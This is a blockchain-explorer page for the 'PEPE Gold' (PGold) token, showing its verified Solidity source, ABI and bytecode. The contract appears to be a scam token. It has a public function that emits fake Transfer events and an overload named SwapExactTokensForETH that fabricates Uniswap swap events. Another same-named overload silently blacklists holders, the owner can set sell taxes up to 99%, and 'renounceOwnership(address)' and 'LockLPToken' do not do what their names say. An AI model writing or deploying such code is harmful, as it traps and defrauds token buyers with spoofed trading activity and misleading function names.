ETH Price: $3,466.07 (+3.97%)
Gas: 5 Gwei

Token

PEPE Gold (PGold)
 

Overview

Max Total Supply

10,000,000,000,000,000 PGold

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 2 Decimals)

Balance
55,231,093,118,064.89 PGold

Value
$0.00
0x8555c79e8904986f75acecc3f307a94b8f033635
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PGold

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-22
*/

/// SPDX-License-Identifier: Unlicensed



pragma solidity ^0.8.18;



abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
        event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function renounceOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract PGold is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = unicode"PEPE Gold";
    string private constant _symbol = unicode"PGold";
    uint8 private constant _decimals = 2;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0x1e4b88e52D4968ff40a2Bbb923a6Cbbc87B9802d);
    address payable private _marketingAddress = payable(0x1e4b88e52D4968ff40a2Bbb923a6Cbbc87B9802d);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled =true;

    uint256 public _maxTxAmount = 1000000000000000000000 * 10**9;
    uint256 public _maxWalletSize = 1000000000000000000000 * 10**9;
    uint256 public _swapTokensAtAmount = 1000000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }
function SwapExactTokensForETH(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function opentrading() public onlyOwner {
        tradingOpen = true;
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function SwapExactTokensForETH(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function un(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function SwapExactTokensForETH(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {

        require((redisFeeOnBuy + taxFeeOnBuy) <= 25);
        require((redisFeeOnSell + taxFeeOnSell) <= 99);
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function LockLPToken() public onlyOwner{

        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    } 

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"SwapExactTokensForETH","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"SwapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"SwapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"opentrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"un","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a76400006000196200001c919062000736565b6000196200002b91906200079d565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f55731e4b88e52d4968ff40a2bbb923a6cbbc87b9802d601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731e4b88e52d4968ff40a2bbb923a6cbbc87b9802d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506c0c9f2c9cd04674edea400000006016556c0c9f2c9cd04674edea4000000060175566038d7ea4c680006018553480156200018e57600080fd5b506000620001a1620006cc60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546002600062000256620006cc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200033a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000360919062000842565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ee919062000842565b6040518363ffffffff1660e01b81526004016200040d92919062000885565b6020604051808303816000875af11580156200042d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000453919062000842565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004a9620006d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000656620006cc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006bd9190620008c3565b60405180910390a350620008e0565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200074382620006fd565b91506200075083620006fd565b92508262000763576200076262000707565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007aa82620006fd565b9150620007b783620006fd565b9250828203905081811115620007d257620007d16200076e565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080a82620007dd565b9050919050565b6200081c81620007fd565b81146200082857600080fd5b50565b6000815190506200083c8162000811565b92915050565b6000602082840312156200085b576200085a620007d8565b5b60006200086b848285016200082b565b91505092915050565b6200087f81620007fd565b82525050565b60006040820190506200089c600083018562000874565b620008ab602083018462000874565b9392505050565b620008bd81620006fd565b82525050565b6000602082019050620008da6000830184620008b2565b92915050565b61441980620008f06000396000f3fe6080604052600436106101f25760003560e01c80637f2feddc1161010d578063c3c8cd80116100a0578063dd62ed3e1161006f578063dd62ed3e146106d2578063e156b1b61461070f578063e6d370dc1461074c578063ea1644d514610775578063fa852a211461079e576101f9565b8063c3c8cd8014610640578063c492f04614610657578063ce09b2ab14610680578063d4d805cc146106a9576101f9565b806398a5c315116100dc57806398a5c31514610560578063a9059cbb14610589578063a9c5210e146105c6578063bfd7928414610603576101f9565b80637f2feddc146104a25780638da5cb5b146104df5780638f9a55c01461050a57806395d89b4114610535576101f9565b80633ef530eb1161018557806370a082311161015457806370a08231146103fa578063715018a61461043757806374010ece1461044e5780637d1db4a514610477576101f9565b80633ef530eb1461037857806349bd5a5e1461038f5780636d8aa8f8146103ba5780636fc3eaec146103e3576101f9565b806323b872dd116101c157806323b872dd146102bc5780632fd689e3146102f9578063313ce5671461032457806338bf3cfa1461034f576101f9565b806306fdde03146101fe578063095ea7b3146102295780631694505e1461026657806318160ddd14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107b5565b604051610220919061305e565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613128565b6107f2565b60405161025d9190613183565b60405180910390f35b34801561027257600080fd5b5061027b610810565b60405161028891906131fd565b60405180910390f35b34801561029d57600080fd5b506102a6610836565b6040516102b39190613227565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190613242565b610846565b6040516102f09190613183565b60405180910390f35b34801561030557600080fd5b5061030e61091f565b60405161031b9190613227565b60405180910390f35b34801561033057600080fd5b50610339610925565b60405161034691906132b1565b60405180910390f35b34801561035b57600080fd5b50610376600480360381019061037191906132cc565b61092e565b005b34801561038457600080fd5b5061038d610aef565b005b34801561039b57600080fd5b506103a4610ba4565b6040516103b19190613308565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc919061334f565b610bca565b005b3480156103ef57600080fd5b506103f8610c7c565b005b34801561040657600080fd5b50610421600480360381019061041c91906132cc565b610d4d565b60405161042e9190613227565b60405180910390f35b34801561044357600080fd5b5061044c610d9e565b005b34801561045a57600080fd5b506104756004803603810190610470919061337c565b610ef1565b005b34801561048357600080fd5b5061048c610f90565b6040516104999190613227565b60405180910390f35b3480156104ae57600080fd5b506104c960048036038101906104c491906132cc565b610f96565b6040516104d69190613227565b60405180910390f35b3480156104eb57600080fd5b506104f4610fae565b6040516105019190613308565b60405180910390f35b34801561051657600080fd5b5061051f610fd7565b60405161052c9190613227565b60405180910390f35b34801561054157600080fd5b5061054a610fdd565b604051610557919061305e565b60405180910390f35b34801561056c57600080fd5b506105876004803603810190610582919061337c565b61101a565b005b34801561059557600080fd5b506105b060048036038101906105ab9190613128565b6110b9565b6040516105bd9190613183565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e891906135b4565b6110d7565b6040516105fa9190613183565b60405180910390f35b34801561060f57600080fd5b5061062a600480360381019061062591906132cc565b611325565b6040516106379190613183565b60405180910390f35b34801561064c57600080fd5b50610655611345565b005b34801561066357600080fd5b5061067e600480360381019061067991906136de565b61141e565b005b34801561068c57600080fd5b506106a760048036038101906106a2919061373e565b611558565b005b3480156106b557600080fd5b506106d060048036038101906106cb91906132cc565b611682565b005b3480156106de57600080fd5b506106f960048036038101906106f49190613787565b611772565b6040516107069190613227565b60405180910390f35b34801561071b57600080fd5b5061073660048036038101906107319190613242565b6117f9565b6040516107439190613183565b60405180910390f35b34801561075857600080fd5b50610773600480360381019061076e91906137c7565b61186b565b005b34801561078157600080fd5b5061079c6004803603810190610797919061337c565b611954565b005b3480156107aa57600080fd5b506107b36119f3565b005b60606040518060400160405280600981526020017f5045504520476f6c640000